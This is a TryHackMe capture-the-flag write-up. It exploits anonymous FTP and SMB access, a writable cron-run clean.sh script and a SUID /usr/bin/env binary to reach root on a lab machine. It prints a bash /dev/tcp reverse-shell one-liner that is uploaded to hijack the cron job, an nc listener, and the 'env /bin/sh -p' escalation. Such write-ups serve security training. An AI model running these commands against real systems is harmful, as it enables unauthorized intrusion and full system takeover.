Anonymous - TryHackMe Write-Up

Description: This Capture the Flag challenge offered valuable insights into the risks and impacts of system misconfigurations, especially involving services like FTP and cron jobs. By exploiting weak permissions and abusing the SUID bit on binaries such as /usr/bin/env, we successfully escalated privileges to root.

The exercise highlights the critical importance of securing system settings, enforcing proper access controls, and routinely auditing potentially risky binaries and scheduled tasks. Through thorough enumeration and exploitation, we uncovered and leveraged critical vulnerabilities, gaining a deeper understanding of real-world penetration testing tactics and techniques.

STEP 1: Enumeration

To begin the assessment, we start by executing an nmap scan to identify open ports on the target system.

nmap -sC -vv -A 10.10.204.236

PORT    STATE SERVICE     REASON         VERSION
21/tcp  open  ftp         syn-ack ttl 63 vsftpd 2.0.8 or later
22/tcp  open  ssh         syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 
139/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 4.7.6-Ubuntu         

With this, we discovered two vulnerabilities, one related to anonymous login on the SMB service.

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: anonymous
|   NetBIOS computer name: ANONYMOUS\x00
|   Domain name: \x00
|   FQDN: anonymous        

Upon accessing the machine, we found two files in the pics share, corgo2.jpg and puppos.jpeg.

smbclient -L //10.10.204.236/ --no-pass
smbclient //10.10.204.236/pics --no-pass        

The second vulnerability is in the FTP service, which also accepts anonymous authentication. Unlike the SMB share, the FTP directory contained some interesting files: clean.sh, removed_files.log, and to_do.txt.

21/tcp  open  ftp         syn-ack ttl 63 vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.8.11.244
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status        

Command:

ftp anonymous@10.10.204.236

cd /scripts        

We proceeded to download all the files from the "/scripts" directory using the "mget *" command. Upon analyzing the clean.sh script, we found the following code:

This script appears to be a cleanup routine for temporary files, logging its actions to removed_files.log. Notably, it resides in the /var/ftp/scripts/ path, suggesting it may be executed automatically, potentially as part of a scheduled task.

Content of removed_files.log:

This log entry confirms that the cleanup script was executed, but no files were removed at the time. This behavior aligns with the logic in clean.sh which checks if tmp_files is set to 0.

STEP 2: Remote Access

Based on our analysis, I created a "clean.sh" file on my machine containing the following reverse shell script:

#!/bin/bash
bash -i >& /dev/tcp/10.8.11.244/4444 0>&1        

I then uploaded it to the target machine using the put command via FTP, overwriting the existing "clean.sh" script.

ftp anonymous@10.10.204.236

cd /scripts
put clean.sh        

After uploading the script, we started listening with nc on the predefined port. After a short wait, we successfully received the reverse shell connection.

nc -lnvp 4444        

STEP 3: Internal Recon

With access to the machine, we gained control of the user "namelessone" and successfully retrieved the first flag.

The next step was to enumerate potential privilege escalation vectors on the machine. I searched for SUID binaries, which executes with root privileges, and discovered "/usr/bin/env", which is vulnerable.

find / -perm -u=s -type f 2>/dev/null        

STEP 4: Privilege Escalation

Using this method, we successfully gained root access and read the root flag.

/usr/bin/env /bin/sh -p

cat /root/root.txt